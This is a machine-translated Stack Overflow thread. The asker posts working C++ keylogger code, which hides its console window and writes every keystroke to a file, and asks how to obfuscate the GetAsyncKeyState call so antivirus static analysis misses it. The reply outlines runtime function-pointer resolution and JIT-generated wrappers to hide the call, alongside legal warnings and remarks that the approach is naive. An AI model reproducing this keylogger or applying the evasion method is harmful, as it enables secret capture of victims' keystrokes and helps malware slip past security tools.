簡體   English   中英

混淆 Function 調用 C++

[英]Obfuscating Function Calls C++

我正在制作自己的源代碼混淆器,我注意到如果源代碼中有這樣的 function 調用,一些防病毒引擎會檢測到一個簡單的鍵盤記錄器。 “GetASyncKeyState”。 以這個源代碼為例,它是一個簡單的鍵盤記錄器主 function。

int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY = 'x';

while (true) {
    Sleep(10);
    for (int KEY = 8; KEY <= 190; KEY++)
    {
        if (GetAsyncKeyState(KEY) == -32767) {
            if (SpecialKeys(KEY) == false) {

                fstream LogFile;
                LogFile.open("dat.txt", fstream::app);
                if (LogFile.is_open()) {
                    LogFile << char(KEY);
                    LogFile.close();
                }

            }
        }
    }
}

return 0;
}

我想混淆“GetAsyncKeyState”名稱的 function 調用,以便沒有 AV 可以將其檢測為鍵盤記錄器。 我對使用序數和 GetProcAddress 實現 function 調用感到困惑。 就像我在下面的代碼中嘗試過的一樣。

typedef int(__cdecl *MYPROC)(LPWSTR);
int main(void)
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;

// Get a handle to the DLL module.

hinstLib = LoadLibrary(TEXT("user32.dll"));

// If the handle is valid, try to get the function address.

if (hinstLib != NULL)
{
    ProcAdd = (MYPROC)GetProcAddress(hinstLib, "GetAsyncKeyState");

    // If the function address is valid, call the function.

    if (NULL != ProcAdd)
    {
        fRunTimeLinkSuccess = TRUE;
        (ProcAdd)(L"Message sent to the DLL function\n Loaded Wao");
        printf("Yahooo Function Called");

    }
    // Free the DLL module.

    fFreeResult = FreeLibrary(hinstLib);
}

// If unable to call the DLL function, use an alternative.
if (!fRunTimeLinkSuccess)
    printf("Message printed from executable\n Not Worked Soory");
getch();
return 0; }

這種實現是不可理解的。 也請解釋一下。

我只需要等效的“GetAsyncKeyState(Key)”,這樣我的混淆器就會檢測到 function 調用並將其替換為等效調用(動態),這樣我就可以繞過 static 分析檢測。

我正在制作自己的源代碼混淆器

其中一些可以購買。 一種實用的方法是改進一些現有的開源編譯器(如GCCClang )在其中添加混淆。 使用 GCC,您可以為此編寫一個GCC 插件(例如,借助Bismon static 分析器)。 注意許可問題(您的 GCC 插件可能需要開源;請咨詢您的律師)。

一種可能的方法是元編程(另請參見RefPerSys )。 您可以編寫(使用例如asmjitlibgccjit )一些在運行時生成機器代碼的 C++ 代碼。

而不是調用GetAsyncKeyState您的代碼可以:

  • 在初始化時(或不時定期)獲取GetAsyncKeyState的地址並將其放入某個變量中(一些 function 指針)

  • 在一些新的function foo中生成調用GetAsyncKeyState的機器代碼

  • 打電話給foo

請與您的律師確認您想要編碼在您所在國家/地區是否合法。 在法國,編寫惡意軟件是一種刑事犯罪。

還要注意賴斯定理

這樣我就可以繞過static分析檢測....

這是一種幼稚的觀點。 即使使用混淆,可執行文件在技術上也可以通過BinSec等二進制分析工具進行逆向工程

順便說一句,編寫源代碼混淆器可能比花錢請律師編寫好的EULA成本更高。

一個相反的方法是讓你的代碼開源(當然,你需要得到你的經理或客戶的批准)。 請參閱本報告草案中的參考資料。 或者閱讀(並讓你的經理閱讀)開源的成功 將一些源代碼開源有許多經濟和技術原因:這篇論文(由諾貝爾獎獲得者Jean Tirole合着)解釋了這些原因。 另請閱讀什么是免費軟件......

咨詢律師

PS。 For questions (in first half of 2021) related to the Bismon source static analyzer (which could evolve into a code ofuscator, if additional funding is provided) or to the BinSec binary static analyzer, contact me by email to basile.starynkevitch@cea.fr

注意。 我個人對您的技術方法的看法是,它非常幼稚,並且不會保護您的專有軟件免受嚴重的二進制 static 分析團隊的侵害。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM